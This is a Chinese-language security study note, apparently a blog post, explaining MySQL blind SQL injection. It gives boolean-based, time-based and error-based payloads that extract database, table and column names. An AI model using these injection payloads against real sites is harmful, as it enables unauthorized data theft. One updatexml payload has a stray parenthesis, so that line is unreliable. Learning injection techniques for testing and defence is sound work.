小贤网安笔记(MySQL盲注)

MySQL盲注

  mysql数据库网站后台语句:

select 查询数据

在网站应用中进行数据查询显示

例:select * from 表名 where id=$id

 insert 插入语句

在网站应用中进行用户注册添加等操作

例:insert into 表名(id,url,text) values(2,'x','$t')

 delete 删除数据

后台删除文章删除用户等操作

例:delete from 表名 where id=$id

 update 更新数据

后台数据同步或缓存等操作

例:update user set pwd='$p' where id=2 and username='admin'


 三种盲注方式

基于布尔的sql盲注—逻辑判断

regexplikeasciileftordmid

regexp '^xiaoxian[a-z]' #匹配xiaoxian以及xiaoxian...等

like 'x%'                         #判断x或x...是否成立

ord=ascii ascii(x)=97    #判断x的ascii码是否等于97

left(a,b)                          #从左侧截取a的前b位

mid(a,b,c)                      #从位置b开始,截取a字符串的c位


基于时间的sql盲注—延时判断

ifsleep

if(条件,5,0)                 #条件成立 返回5 否则 返回0

sleep(5)                     #sql语句延迟五秒执行

payload:

1.判断数据库名长度

id=1 and sleep(if(length(database())>=8,5,0)) --+

2.逐一判断数据库名 

id=1 and sleep(if(mid(database(),1,1)='s',5,0)) --+

也可以用ascii码判断(s的ascii码=115)

id=1 and sleep(if(ascii(mid(database(),1,1))=115,5,0)) --+

3.确定数据库名

id=1 and sleep(if(database()='security',5,0)) --+

 4.确定表名

id=1 and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1)),1,1)=101,sleep(5),0) --+

limit 0,1 第一个表名

limit 1,1 第二个表名

limit 2,1 第三个表名

............

5.确定列名

id=1 and if(ascii(mid((select column_name from information_schema.columns where table_name='表名' limit 0,1)),1,1)=101,sleep(5),0) --+


基于报错的sql盲注—报错回显

floorypdatexmlextractvalue

参考:

concat() 函数            #将多个字符串连接成一个字符串

返回结果为连接参数产生的字符串;如有任何一个参数为NULL ,则返回值为 NULL

mysql> select concat('张三','李四','王五');
result> 张三李四王五

mysql> select concat('张三','李四',NULL);
result> NUll

1、通过floor报错注入语句如下:

payload:

usernamer=x' or(select 1 from(select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2)) x from information_schema.tables group by x)a) or '

 select concat()示意:

 

若想了解floor报错原理可前往Mysql报错注入之floor(rand(0)*2)报错原理探究-CSDN博客

2、通过ExtractValue报错注入语句如下:

payload:

usernamer=x' or extractvalue(1,concat(0x7e,version())) or '

3、通过UpdateXml报错注入语句如下:

payload:

usernamer=x' or updatexml(1,concat(0x7e,version())),0) or '


 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值